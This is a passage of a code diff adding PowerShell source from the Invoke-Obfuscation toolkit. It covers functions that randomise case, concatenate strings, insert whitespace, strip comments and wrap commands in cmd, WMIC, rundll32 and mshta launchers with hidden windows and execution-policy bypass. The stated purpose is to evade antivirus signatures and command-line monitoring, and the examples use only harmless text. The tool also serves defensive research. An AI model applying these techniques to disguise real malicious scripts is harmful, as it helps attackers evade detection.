World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} 'CommandArgument' 1 +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $ScriptString, + + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [System.Management.Automation.PSToken] + $Token + ) + + # Convert $Token to character array for easier manipulation. + $TokenArray = [Char[]]$Token.Content + + # Randomly upper- and lower-case characters in current token. + $TokenArray = Out-RandomCase $TokenArray + + # Convert character array back to string. + $ObfuscatedToken = $TokenArray -Join '' + + # Add the obfuscated token back to $ScriptString. + $ScriptString = $ScriptString.SubString(0,$Token.Start) + $ObfuscatedToken + $ScriptString.SubString($Token.Start+$Token.Length) + + Return $ScriptString +} + + +Function Out-ConcatenatedString +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Obfuscates any string by randomly concatenating it and encapsulating the result with input single- or double-quotes. + +Invoke-Obfuscation Function: Out-ConcatenatedString +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-ConcatenatedString obfuscates given input as a helper function to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. For the most complete obfuscation all tokens in a given PowerShell script or script block (cast as a string object) should be obfuscated via the corresponding obfuscation functions and desired obfuscation levels in Out-ObfuscatedTokenCommand.ps1. + +.PARAMETER InputVal + +Specifies the string to obfuscate. + +.PARAMETER Quote + +Specifies the single- or double-quote used to encapsulate the concatenated string. + +.EXAMPLE + +C:\PS> Out-ConcatenatedString "String to be concatenated" '"' + +"String "+"to be "+"co"+"n"+"c"+"aten"+"at"+"ed + +.NOTES + +This cmdlet is most easily used by passing a script block or file path to a PowerShell script into the Out-ObfuscatedTokenCommand function with the corresponding token type and obfuscation level since Out-ObfuscatedTokenCommand will handle token parsing, reverse iterating and passing tokens into this current function. +C:\PS> Out-ObfuscatedTokenCommand {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} 'CommandArgument' 3 +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $InputVal, + + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Char] + $Quote + ) + + # Strip leading and trailing single- or double-quotes if there are no more quotes of the same kind in $InputVal. + # E.g. 'stringtoconcat' will have the leading and trailing quotes removed and will use $Quote. + # But a string "'G'+'" passed to this function as 'G'+' will have all quotes remain as part of the $InputVal string. + If($InputVal.Contains("'")) {$InputVal = $InputVal.Replace("'","`'")} + If($InputVal.Contains('"')) {$InputVal = $InputVal.Replace('"','`"')} + + # Do nothing if string is of length 2 or less + $ObfuscatedToken = '' + If($InputVal.Length -le 2) + { + $ObfuscatedToken = $Quote + $InputVal + $Quote + Return $ObfuscatedToken + } + + # Choose a random percentage of characters to have concatenated in current token. + # If the current token is greater than 1000 characters (as in SecureString or Base64 strings) then set $ConcatPercent much lower + If($InputVal.Length -gt 25000) + { + $ConcatPercent = Get-Random -Minimum 0.05 -Maximum 0.10 + } + ElseIf($InputVal.Length -gt 1000) + { + $ConcatPercent = Get-Random -Minimum 2 -Maximum 4 + } + Else + { + $ConcatPercent = Get-Random -Minimum 15 -Maximum 30 + } + + # Convert $ConcatPercent to the exact number of characters to concatenate in the current token. + $ConcatCount = [Int]($InputVal.Length*($ConcatPercent/100)) + + # Guarantee that at least one concatenation will occur. + If($ConcatCount -eq 0) + { + $ConcatCount = 1 + } + + # Select random indexes on which to concatenate. + $CharIndexesToConcat = (Get-Random -InputObject (1..($InputVal.Length-1)) -Count $ConcatCount) | Sort-Object + + # Perform inline concatenation. + $LastIndex = 0 + + ForEach($IndexToObfuscate in $CharIndexesToConcat) + { + # Extract substring to concatenate with $ObfuscatedToken. + $SubString = $InputVal.SubString($LastIndex,$IndexToObfuscate-$LastIndex) + + # Concatenate with quotes and addition operator. + $ObfuscatedToken += $SubString + $Quote + "+" + $Quote + + $LastIndex = $IndexToObfuscate + } + + # Add final substring. + $ObfuscatedToken += $InputVal.SubString($LastIndex) + $ObfuscatedToken += $FinalSubString + + # Add final quotes if necessary. + If(!($ObfuscatedToken.StartsWith($Quote) -AND $ObfuscatedToken.EndsWith($Quote))) + { + $ObfuscatedToken = $Quote + $ObfuscatedToken + $Quote + } + + # Remove any existing leading or trailing empty string concatenation. + If($ObfuscatedToken.StartsWith("''+")) + { + $ObfuscatedToken = $ObfuscatedToken.SubString(3) + } + If($ObfuscatedToken.EndsWith("+''")) + { + $ObfuscatedToken = $ObfuscatedToken.SubString(0,$ObfuscatedToken.Length-3) + } + + Return $ObfuscatedToken +} + + +Function Out-RandomCase +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Obfuscates any string or char[] by randomizing its case. + +Invoke-Obfuscation Function: Out-RandomCase +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-RandomCase obfuscates given input as a helper function to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. For the most complete obfuscation all tokens in a given PowerShell script or script block (cast as a string object) should be obfuscated via the corresponding obfuscation functions and desired obfuscation levels in Out-ObfuscatedTokenCommand.ps1. + +.PARAMETER InputValStr + +Specifies the string to obfuscate. + +.PARAMETER InputVal + +Specifies the char[] to obfuscate. + +.EXAMPLE + +C:\PS> Out-RandomCase "String to have case randomized" + +STrINg to haVe caSe RAnDoMIzeD + +C:\PS> Out-RandomCase ([char[]]"String to have case randomized") + +StrING TO HavE CASE randOmIzeD + +.NOTES + +This cmdlet is most easily used by passing a script block or file path to a PowerShell script into the Out-ObfuscatedTokenCommand function with the corresponding token type and obfuscation level since Out-ObfuscatedTokenCommand will handle token parsing, reverse iterating and passing tokens into this current function. +C:\PS> Out-ObfuscatedTokenCommand {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} 'Command' 3 +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding( DefaultParameterSetName = 'InputVal')] Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'InputValStr')] + [ValidateNotNullOrEmpty()] + [String] + $InputValStr, + + [Parameter(Position = 0, ParameterSetName = 'InputVal')] + [ValidateNotNullOrEmpty()] + [Char[]] + $InputVal + ) + + If($PSBoundParameters['InputValStr']) + { + # Convert string to char array for easier manipulation. + $InputVal = [Char[]]$InputValStr + } + + # Randomly convert each character to upper- or lower-case. + $OutputVal = ($InputVal | ForEach-Object {If((Get-Random -Minimum 0 -Maximum 2) -eq 0) {([String]$_).ToUpper()} Else {([String]$_).ToLower()}}) -Join '' + + Return $OutputVal +} + + +Function Out-RandomWhitespace +{ +<# +.SYNOPSIS + +Obfuscates operator/groupstart/groupend/statementseparator token by adding random amounts of whitespace before/after the token depending on the token value and its immediate surroundings in the input script. + +Invoke-Obfuscation Function: Out-RandomWhitespace +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-RandomWhitespace adds random whitespace before/after a given token and places it back into the provided PowerShell script to evade detection by simple IOCs and process execution monitoring relying solely on command-line arguments. For the most complete obfuscation all tokens in a given PowerShell script or script block (cast as a string object) should be obfuscated via the corresponding obfuscation functions and desired obfuscation levels in Out-ObfuscatedTokenCommand.ps1. + +.PARAMETER ScriptString + +Specifies the string containing your payload. + +.PARAMETER Tokens + +Specifies the token array containing the token we will obfuscate. + +.PARAMETER Index + +Specifies the index of the token to obfuscate. + +.EXAMPLE + +C:\PS> $ScriptString = "Write-Host ('Hel'+'lo Wo'+'rld!') -ForegroundColor Green; Write-Host ('Obfu'+'scation Ro'+'cks!') -ForegroundColor Green" +C:\PS> $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) +C:\PS> For($i=$Tokens.Count-1; $i -ge 0; $i--) {If(($Tokens[$i].Type -eq 'Operator') -OR ($Tokens[$i].Type -eq 'GroupStart') -OR ($Tokens[$i].Type -eq 'GroupEnd')) {$ScriptString = Out-RandomWhitespace $ScriptString $Tokens $i}} +C:\PS> $ScriptString + +Write-Host ('Hel'+ 'lo Wo' + 'rld!') -ForegroundColor Green; Write-Host ( 'Obfu' +'scation Ro' + 'cks!') -ForegroundColor Green + +.NOTES + +This cmdlet is most easily used by passing a script block or file path to a PowerShell script into the Out-ObfuscatedTokenCommand function with the corresponding token type and obfuscation level since Out-ObfuscatedTokenCommand will handle token parsing, reverse iterating and passing tokens into this current function. +C:\PS> Out-ObfuscatedTokenCommand {Write-Host ('Hel'+'lo Wo'+'rld!') -ForegroundColor Green; Write-Host ('Obfu'+'scation Ro'+'cks!') -ForegroundColor Green} 'RandomWhitespace' 1 +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $ScriptString, + + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [System.Management.Automation.PSToken[]] + $Tokens, + + [Parameter(Position = 2, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Int] + $Index + ) + + $Token = $Tokens[$Index] + + $ObfuscatedToken = $Token.Content + + # Do not add DEFAULT setting in below Switch block. + Switch($Token.Content) { + '(' {$ObfuscatedToken = $ObfuscatedToken + ' '*(Get-Random -Minimum 0 -Maximum 3)} + ')' {$ObfuscatedToken = ' '*(Get-Random -Minimum 0 -Maximum 3) + $ObfuscatedToken} + ';' {$ObfuscatedToken = ' '*(Get-Random -Minimum 0 -Maximum 3) + $ObfuscatedToken + ' '*(Get-Random -Minimum 0 -Maximum 3)} + '|' {$ObfuscatedToken = ' '*(Get-Random -Minimum 0 -Maximum 3) + $ObfuscatedToken + ' '*(Get-Random -Minimum 0 -Maximum 3)} + '+' {$ObfuscatedToken = ' '*(Get-Random -Minimum 0 -Maximum 3) + $ObfuscatedToken + ' '*(Get-Random -Minimum 0 -Maximum 3)} + '=' {$ObfuscatedToken = ' '*(Get-Random -Minimum 0 -Maximum 3) + $ObfuscatedToken + ' '*(Get-Random -Minimum 0 -Maximum 3)} + '&' {$ObfuscatedToken = ' '*(Get-Random -Minimum 0 -Maximum 3) + $ObfuscatedToken + ' '*(Get-Random -Minimum 0 -Maximum 3)} + '.' { + # Retrieve character in script immediately preceding the current token + If($Index -eq 0) {$PrevChar = ' '} + Else {$PrevChar = $ScriptString.SubString($Token.Start-1,1)} + + # Only add randomized whitespace to . if it is acting as a standalone invoke operator (either at the beginning of the script or immediately preceded by ; or whitespace) + If(($PrevChar -eq ' ') -OR ($PrevChar -eq ';')) {$ObfuscatedToken = ' '*(Get-Random -Minimum 0 -Maximum 3) + $ObfuscatedToken + ' '*(Get-Random -Minimum 0 -Maximum 3)} + } + } + + # Add the obfuscated token back to $ScriptString. + $ScriptString = $ScriptString.SubString(0,$Token.Start) + $ObfuscatedToken + $ScriptString.SubString($Token.Start+$Token.Length) + + Return $ScriptString +} + + +Function Out-RemoveComments +{ +<# +.SYNOPSIS + +Obfuscates variable token by removing all comment tokens. This is primarily since A/V uses strings in comments as part of many of their signatures for well known PowerShell scripts like Invoke-Mimikatz. + +Invoke-Obfuscation Function: Out-RemoveComments +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-RemoveComments obfuscates a given token by removing all comment tokens from the provided PowerShell script to evade detection by simple IOCs or A/V signatures based on strings in PowerShell script comments. For the most complete obfuscation all tokens in a given PowerShell script or script block (cast as a string object) should be obfuscated via the corresponding obfuscation functions and desired obfuscation levels in Out-ObfuscatedTokenCommand.ps1. + +.PARAMETER ScriptString + +Specifies the string containing your payload. + +.PARAMETER Token + +Specifies the token to obfuscate. + +.EXAMPLE + +C:\PS> $ScriptString = "`$Message1 = 'Hello World!'; Write-Host `$Message1 -ForegroundColor Green; `$Message2 = 'Obfuscation Rocks!'; Write-Host `$Message2 -ForegroundColor Green #COMMENT" +C:\PS> $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) | Where-Object {$_.Type -eq 'Comment'} +C:\PS> For($i=$Tokens.Count-1; $i -ge 0; $i--) {$Token = $Tokens[$i]; $ScriptString = Out-RemoveComments $ScriptString $Token} +C:\PS> $ScriptString + +$Message1 = 'Hello World!'; Write-Host $Message1 -ForegroundColor Green; $Message2 = 'Obfuscation Rocks!'; Write-Host $Message2 -ForegroundColor Green + +.NOTES + +This cmdlet is most easily used by passing a script block or file path to a PowerShell script into the Out-ObfuscatedTokenCommand function with the corresponding token type and obfuscation level since Out-ObfuscatedTokenCommand will handle token parsing, reverse iterating and passing tokens into this current function. +C:\PS> Out-ObfuscatedTokenCommand {$Message1 = 'Hello World!'; Write-Host $Message1 -ForegroundColor Green; $Message2 = 'Obfuscation Rocks!'; Write-Host $Message2 -ForegroundColor Green #COMMENT} 'Comment' 1 +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $ScriptString, + + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [System.Management.Automation.PSToken] + $Token + ) + + # Remove current Comment token. + $ScriptString = $ScriptString.SubString(0,$Token.Start) + $ScriptString.SubString($Token.Start+$Token.Length) + + Return $ScriptString +} diff --git a/lib/powershell/Invoke-Obfuscation/Out-PowerShellLauncher.ps1 b/lib/powershell/Invoke-Obfuscation/Out-PowerShellLauncher.ps1 new file mode 100644 index 000000000..fb797c620 --- /dev/null +++ b/lib/powershell/Invoke-Obfuscation/Out-PowerShellLauncher.ps1 @@ -0,0 +1,1627 @@ +# This file is part of Invoke-Obfuscation. +# +# Copyright 2017 Daniel Bohannon <@danielhbohannon> +# while at Mandiant +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + + +Function Out-PowerShellLauncher +{ +<# +.SYNOPSIS + +Applies launch syntax to PowerShell command so it can be run from cmd.exe and have its command line arguments further obfuscated via launch obfuscation techniques. + +Invoke-Obfuscation Function: Out-PowerShellLauncher +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: Out-ObfuscatedTokenCommand, Out-EncapsulatedInvokeExpression (used for WMIC launcher -- located in Out-ObfuscatedStringCommand.ps1), Out-ConcatenatedString (used for WMIC and MSHTA launchers -- located in Out-ObfuscatedTokenCommand.ps1) +Optional Dependencies: None + +.DESCRIPTION + +Out-PowerShellLauncher obfuscates a given PowerShell command (via stdin, process-level environment variables, clipboard, etc.) while wrapping it in syntax to be launched directly from cmd.exe. Some techniques also push command line arguments to powershell.exe's parent (denoted with +) or even grandparent (denoted with ++) process command line arguments. +1 --> PS +2 --> CMD +3 --> WMIC +4 --> RUNDLL +5 --> VAR+ +6 --> STDIN+ +7 --> CLIP+ +8 --> VAR++ +9 --> STDIN++ +10 --> CLIP++ +11 --> RUNDLL++ +12 --> MSHTA++ + +.PARAMETER ScriptBlock + +Specifies a scriptblock containing your payload. + +.PARAMETER LaunchType + +Specifies the launch syntax to apply to ScriptBlock. + +.PARAMETER NoExit + +Outputs the option to not exit after running startup commands. + +.PARAMETER NoProfile + +Outputs the option to not load the Windows PowerShell profile. + +.PARAMETER NonInteractive + +Outputs the option to not present an interactive prompt to the user. + +.PARAMETER NoLogo + +Outputs the option to not present the logo to the user. + +.PARAMETER Wow64 + +Calls the x86 (Wow64) version of PowerShell on x86_64 Windows installations. + +.PARAMETER Command + +Outputs the option to execute the specified commands (and any parameters) as though they were typed at the Windows PowerShell command prompt. + +.PARAMETER WindowStyle + +Outputs the option to set the window style to Normal, Minimized, Maximized or Hidden. + +.PARAMETER ExecutionPolicy + +Outputs the option to set the default execution policy for the current session. + +.PARAMETER SwitchesAsString + +(Optional) Specifies above PowerShell execution flags per a single string. + +.EXAMPLE + +C:\PS> Out-PowerShellLauncher -ScriptBlock {Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green} -NoProfile -NonInteractive 3 + +C:\windows\SYstEM32\cmd.EXe /C "sET oPUWV=Write-Host 'Hello World!' -ForegroundColor Green; Write-Host 'Obfuscation Rocks!' -ForegroundColor Green&& POWErshELl -NOnINt -noPrOfil ${eX`eCUti`on`cO`NTeXT}.\"INVO`k`e`coMMANd\".\"INvo`KeS`C`RIPt\"( ( GET-CHI`Ldit`EM EnV:OPuwV ).\"v`AlUE\" )" + +.NOTES + +This cmdlet is an ideal last step after applying other obfuscation cmdlets to your script block or file path contents. Its more advanced obfuscation options are included to show the Blue Team that powershell.exe's command line arguments may not contain any contents of the command itself, but these could be stored in the parent or grandparent process' command line arguments. There are additional techniques to split the command contents cross multiple commands and have the final PowerShell command re-assemble in memory and execute that are not currently included in this version. +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + [CmdletBinding(DefaultParameterSetName = 'ScriptBlock')] Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock')] + [ValidateNotNullOrEmpty()] + [ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 1)] + [ValidateNotNullOrEmpty()] + [ValidateSet(1,2,3,4,5,6,7,8,9,10,11,12)] + [Int] + $LaunchType, + + [Switch] + $NoExit, + + [Switch] + $NoProfile, + + [Switch] + $NonInteractive, + + [Switch] + $NoLogo, + + [Switch] + $Wow64, + + [Switch] + $Command, + + [ValidateSet('Normal', 'Minimized', 'Maximized', 'Hidden')] + [String] + $WindowStyle, + + [ValidateSet('Bypass', 'Unrestricted', 'RemoteSigned', 'AllSigned', 'Restricted')] + [String] + $ExecutionPolicy, + + [Parameter(Position = 2)] + [String] + $SwitchesAsString + ) + + # To capture and output args in a process tree format for the applied launcher syntax. + $ArgsDefenderWillSee = @() + + # Convert ScriptBlock to a String. + $ScriptString = [String]$ScriptBlock + + # Check and throw warning message if input $ScriptString contains new line characters. + If($ScriptString.Contains([Char]13+[Char]10)) + { + Write-Host "" + Write-Warning "Current script content contains newline characters.`n Applying a launcher will not work on the command line.`n Apply ENCODING obfuscation before applying LAUNCHER." + Start-Sleep 1 + Return $ScriptString + } + + # $SwitchesAsString argument for passing in flags from user input in Invoke-Obfuscation. + If($SwitchesAsString.Length -gt 0) + { + If(!($SwitchesAsString.Contains('0'))) + { + $SwitchesAsString = ([Char[]]$SwitchesAsString | Sort-Object -Unique -Descending) -Join ' ' + ForEach($SwitchAsString in $SwitchesAsString.Split(' ')) + { + Switch($SwitchAsString) + { + '1' {$NoExit = $TRUE} + '2' {$NonInteractive = $TRUE} + '3' {$NoLogo = $TRUE} + '4' {$NoProfile = $TRUE} + '5' {$Command = $TRUE} + '6' {$WindowsStyle = 'Hidden'} + '7' {$ExecutionPolicy = 'Bypass'} + '8' {$Wow64 = $TRUE} + default {Write-Error "An invalid `$SwitchAsString value ($SwitchAsString) was passed to switch block for Out-PowerShellLauncher"; Exit;} + } + } + } + } + + # Parse out and escape key characters in particular token types for powershell.exe (in reverse to make indexes simpler for escaping tokens). + $Tokens = [System.Management.Automation.PSParser]::Tokenize($ScriptString,[ref]$null) + $CharsToEscape = @('&','|','<','>') + For($i=$Tokens.Count-1; $i -ge 0; $i--) + { + $Token = $Tokens[$i] + + # Manually extract token since tokenization will remove certain characters and whitespace which we want to retain. + $PreTokenStr = $ScriptString.SubString(0,$Token.Start) + $ExtractedToken = $ScriptString.SubString($Token.Start,$Token.Length) + $PostTokenStr = $ScriptString.SubString($Token.Start+$Token.Length) + + # Escape certain characters that will be problematic on the command line for powershell.exe (\) and cmd.exe (^). + # Single cmd escaping (^) for strings encapsulated by double quotes. For all other tokens apply double layer escaping (^^^). + If($Token.Type -eq 'String' -AND !($ExtractedToken.StartsWith("'") -AND $ExtractedToken.EndsWith("'"))) + { + ForEach($Char in $CharsToEscape) + { + If($ExtractedToken.Contains($Char)) {$ExtractedToken = $ExtractedToken.Replace($Char,"^$Char")} + } + + If($ExtractedToken.Contains('\')) {$ExtractedToken = $ExtractedToken.Replace('\','\\')} + + If($ExtractedToken.Contains('"')) {$ExtractedToken = '\"' + $ExtractedToken.SubString(1,$ExtractedToken.Length-1-1) + '\"'} + } + Else + { + # Before adding layered escaping for special characters for cmd.exe, preserve escaping of ^ used NOT as an escape character (like as part of an Empire key). + If($ExtractedToken.Contains('^')) + { + $ExtractedTokenSplit = $ExtractedToken.Split('^') + $ExtractedToken = '' + For($j=0; $j -lt $ExtractedTokenSplit.Count; $j++) + { + $ExtractedToken += $ExtractedTokenSplit[$j] + $FirstCharFollowingCaret = $ExtractedTokenSplit[$j+1] + If(!$FirstCharFollowingCaret -OR ($CharsToEscape -NotContains $FirstCharFollowingCaret.SubString(0,1)) -AND ($j -ne $ExtractedTokenSplit.Count-1)) + { + $ExtractedToken += '^^^^' + } + } + } + + ForEach($Char in $CharsToEscape) + { + If($ExtractedToken.Contains($Char)) {$ExtractedToken = $ExtractedToken.Replace($Char,"^^^$Char")} + } + } + + # Add $ExtractedToken back into context in $ScriptString + $ScriptString = $PreTokenStr + $ExtractedToken + $PostTokenStr + } + + # Randomly select PowerShell execution flag argument substrings and randomize the order for all flags passed to this function. + # This is to prevent the Blue Team from placing false hope in simple signatures for the shortest form of these arguments or consistent ordering. + $PowerShellFlags = New-Object String[](0) + If($PSBoundParameters['NoExit'] -OR $NoExit) + { + $FullArgument = "-NoExit" + $PowerShellFlags += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NoProfile'] -OR $NoProfile) + { + $FullArgument = "-NoProfile" + $PowerShellFlags += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NonInteractive'] -OR $NonInteractive) + { + $FullArgument = "-NonInteractive" + $PowerShellFlags += $FullArgument.SubString(0,(Get-Random -Minimum 5 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['NoLogo'] -OR $NoLogo) + { + $FullArgument = "-NoLogo" + $PowerShellFlags += $FullArgument.SubString(0,(Get-Random -Minimum 4 -Maximum ($FullArgument.Length+1))) + } + If($PSBoundParameters['WindowStyle'] -OR $WindowsStyle) + { + $FullArgument = "-WindowStyle" + If($WindowsStyle) {$ArgumentValue = $WindowsStyle} + Else {$ArgumentValue = $PSBoundParameters['WindowStyle']} + + # Randomly decide to overwrite the WindowStyle value with the corresponding integer representation of the predefined parameter value. + Switch($ArgumentValue.ToLower()) + { + 'normal' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('0','n','no','nor','norm','norma'))}} + 'hidden' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('1','h','hi','hid','hidd','hidde'))}} + 'minimized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('2','mi','min','mini','minim','minimi','minimiz','minimize'))}} + 'maximized' {If(Get-Random -Input @(0..1)) {$ArgumentValue = (Get-Random -Input @('3','ma','max','maxi','maxim','maximi','maximiz','maximize'))}} + default {Write-Error "An invalid `$ArgumentValue value ($ArgumentValue) was passed to switch block for Out-PowerShellLauncher."; Exit;} + } + + $PowerShellFlags += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue + } + If($PSBoundParameters['ExecutionPolicy'] -OR $ExecutionPolicy) + { + $FullArgument = "-ExecutionPolicy" + If($ExecutionPolicy) {$ArgumentValue = $ExecutionPolicy} + Else {$ArgumentValue = $PSBoundParameters['ExecutionPolicy']} + # Take into account the shorted flag of -EP as well. + $ExecutionPolicyFlags = @() + $ExecutionPolicyFlags += '-EP' + For($Index=3; $Index -le $FullArgument.Length; $Index++) + { + $ExecutionPolicyFlags += $FullArgument.SubString(0,$Index) + } + $ExecutionPolicyFlag = Get-Random -Input $ExecutionPolicyFlags + $PowerShellFlags += $ExecutionPolicyFlag + ' '*(Get-Random -Minimum 1 -Maximum 3) + $ArgumentValue + } + + # Randomize the order of the command-line arguments. + # This is to prevent the Blue Team from placing false hope in simple signatures for consistent ordering of these arguments. + If($PowerShellFlags.Count -gt 1) + { + $PowerShellFlags = Get-Random -InputObject $PowerShellFlags -Count $PowerShellFlags.Count + } + + # If selected then the -Command flag needs to be added last. + If($PSBoundParameters['Command'] -OR $Command) + { + $FullArgument = "-Command" + $PowerShellFlags += $FullArgument.SubString(0,(Get-Random -Minimum 2 -Maximum ($FullArgument.Length+1))) + } + + # Randomize the case of all command-line arguments. + For($i=0; $i -lt $PowerShellFlags.Count; $i++) + { + $PowerShellFlags[$i] = ([Char[]]$PowerShellFlags[$i] | ForEach-Object {$Char = $_.ToString().ToLower(); If(Get-Random -Input @(0..1)) {$Char = $Char.ToUpper()} $Char}) -Join '' + } + + # Insert random-length whitespace between all command-line arguments. + # Maintain array of PS flags for some launch types (namely CLIP+, CLIP++ and RunDll32). + $PowerShellFlagsArray = $PowerShellFlags + $PowerShellFlags = ($PowerShellFlags | ForEach-Object {$_ + ' '*(Get-Random -Minimum 1 -Maximum 3)}) -Join '' + $PowerShellFlags = ' '*(Get-Random -Minimum 1 -Maximum 3) + $PowerShellFlags + ' '*(Get-Random -Minimum 1 -Maximum 3) + + # Build out paths to binaries depending if 32-bit or 64-bit options were selected. + $WinPath = "C:\WINDOWS" + $System32Path = "C:\WINDOWS\system32" + $PathToRunDll = Get-Random -Input @("$System32Path\rundll32" , "$System32Path\rundll32.exe" , "rundll32" , "rundll32.exe") + $PathToMshta = Get-Random -Input @("$System32Path\mshta" , "$System32Path\mshta.exe" , "mshta" , "mshta.exe") + $PathToCmd = Get-Random -Input @("$System32Path\cmd" , "$System32Path\cmd.exe" , "cmd.exe" , "cmd") + $PathToClip = Get-Random -Input @("$System32Path\clip" , "$System32Path\clip.exe" , "clip" , "clip.exe") + $PathToWmic = Get-Random -Input @("$System32Path\WBEM\wmic" , "$System32Path\WBEM\wmic.exe" , "wmic" , "wmic.exe") + + # If you use cmd or cmd.exe instead of the pathed version, then you don't need to put a whitespace between cmd and and cmd flags. E.g. cmd/c or cmd.exe/c. + If($PathToCmd.Contains('\')) + { + $PathToCmd = $PathToCmd + ' '*(Get-Random -Minimum 2 -Maximum 4) + } + Else + { + $PathToCmd = $PathToCmd + ' '*(Get-Random -Minimum 0 -Maximum 4) + } + + If($PSBoundParameters['Wow64'] -OR $Wow64) + { + $PathToPowerShell = "$WinPath\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" + } + Else + { + # Obfuscation isn't about saving space, and there are reasons you'd potentially want to fully path powershell.exe (more info on this soon). + #$PathToPowerShell = "$WinPath\System32\WindowsPowerShell\v1.0\powershell.exe" + $PathToPowerShell = "powershell" + } + + # Randomize the case of the following variables. + $PowerShellFlags = ([Char[]]$PowerShellFlags.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $PathToPowerShell = ([Char[]]$PathToPowerShell.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $PathToRunDll = ([Char[]]$PathToRunDll.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $PathToMshta = ([Char[]]$PathToMshta.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $PathToCmd = ([Char[]]$PathToCmd.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $PathToClip = ([Char[]]$PathToClip.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $PathToWmic = ([Char[]]$PathToWmic.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $SlashC = ([Char[]]'/c'.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + $Echo = ([Char[]]'echo'.ToLower() | ForEach-Object {$Char = $_; If(Get-Random -Input (0..1)){$Char = $Char.ToString().ToUpper()} $Char}) -Join '' + + # Show warning if an uneven number of double-quotes exists for any $LaunchType. + $NumberOfDoubleQuotes = $ScriptString.Length-$ScriptString.Replace('"','').Length + If($NumberOfDoubleQuotes%2 -eq 1) + { + Write-Host "" + Write-Warning "This command contains 